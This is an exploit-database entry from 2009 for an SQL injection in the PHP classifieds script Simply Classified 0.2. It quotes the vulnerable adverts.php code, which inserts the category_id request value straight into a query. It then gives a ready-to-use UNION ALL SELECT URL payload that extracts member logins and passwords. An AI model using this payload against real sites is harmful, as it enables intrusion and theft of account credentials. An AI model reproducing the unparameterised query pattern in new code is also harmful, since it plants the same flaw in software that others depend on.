Simply Classified 0.2 (category_id) SQL Injection Vulnerability

2009-03-27T00:00:00
ID 1337DAY-ID-4964
Type zdt
Reporter G4N0K
Modified 2009-03-27T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===============================================================
Simply Classified 0.2 (category_id) SQL Injection Vulnerability
===============================================================


==============================================================================
	Simply Classified v0.2 (category_id) SQL Injection Vulnerability
==============================================================================

	[»] Script:             [ Simply Classified v0.2 ]
	[»] Language:           [ PHP, MySQL ]
	[»] Website:            [ http://www.hotscripts.com/listing/simply_classifieds/ ]
	[»] Type:               [ Free|OS ]
	[»] Today:              [ 26032009 ]


===[ code! ]===

	[+] adverts.php, 33-34

			{...}
			<?php
				$id = $_GET['category_id']; // <== you know!
				$query = "SELECT * FROM type WHERE id=$id" ; // <== did you got it!, damn, check it again.
						$result = mysql_query($query);
						$row = mysql_fetch_array($result);
			?>
			{...}
			

	
===[ XPL ]===

	[»] http://127.0.0.1/classified/adverts.php?category_id=5 UNION ALL SELECT 1,2,concat(login,0x3a,passwd),4,5,6,7,8,9,10 FROM members






#  0day.today [2018-01-02]  #